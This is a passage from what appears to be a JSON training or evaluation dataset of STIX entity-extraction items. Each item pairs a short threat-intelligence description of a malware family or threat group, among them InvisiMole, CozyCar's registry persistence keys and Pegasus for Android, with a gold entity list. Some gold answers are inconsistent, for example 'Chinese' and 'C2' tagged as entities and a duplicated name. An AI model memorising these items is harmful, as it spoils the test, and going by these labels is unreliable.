    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPowerStallion uses a XOR cipher to encrypt command output written to its OneDrive C2 server.\n",
    "output": "<entities>PowerStallion|C2|OneDrive</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThiefQuest uses the function kill_unwanted to obtain a list of running processes and kills each process matching a list of security related processes.\n",
    "output": "<entities>ThiefQuest</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.\n",
    "output": "<entities>DnsSystem|.NET|DIG.net|HEXANE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDacls has had its payload named with a dot prefix to make it hidden from view in the Finder application.\n",
    "output": "<entities>Dacls|Finder</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAdups is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server.\n",
    "output": "<entities>Adups|BLU Products|Android|Chinese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMongall is a backdoor that has been used since at least 2013, including by Aoqin Dragon.\n",
    "output": "<entities>Mongall|Aoqin Dragon</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNDiskMonitor obtains the victim username and encrypts the information to send over its C2 channel.\n",
    "output": "<entities>NDiskMonitor|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAnubis is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan.\n",
    "output": "<entities>Anubis|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nInvisiMole is a modular spyware program that has been used by the InvisiMole Group since at least 2013. InvisiMole has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. Gamaredon Group infrastructure has been used to download and execute InvisiMole against a small number of victims.\n",
    "output": "<entities>InvisiMole|RC2FM|RC2CL|Ukraine|Gamaredon|Russia|InvisiMole</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTEARDROP checked that HKU\\SOFTWARE\\Microsoft\\CTF existed before decoding its embedded payload.\n",
    "output": "<entities>TEARDROP|Microsoft|HKU\\SOFTWARE\\Microsoft\\CTF</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSnip3 is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including AsyncRAT, Revenge RAT, Agent Tesla, and NETWIRE.\n",
    "output": "<entities>Snip3|AsyncRAT|Revenge RAT|Agent Tesla|NETWIRE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPegasus for Android is the Android version of malware that has reportedly been linked to the NSO Group.\n",
    "output": "<entities>NSO Group|Android|Pegasus</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRegin appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.\n",
    "output": "<entities>Regin</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCaterpillar WebShell can run commands on the compromised asset with CMD functions.\n",
    "output": "<entities>Caterpillar WebShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOne persistence mechanism used by CozyCar is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: <br>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ <br>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ <br>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run <br>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n",
    "output": "<entities>Microsoft|HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run|HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run|HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run|Windows|HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run|CozyCar</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHeyoka Backdoor is a custom backdoor--based on the Heyoka open source exfiltration tool--that  has been used by Aoqin Dragon since at least 2013.\n",
    "output": "<entities>Heyoka Backdoor|Heyoka|Aoqin Dragon</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKeyRaider is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality.\n",
    "output": "<entities>KeyRaider|Apple|iOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location 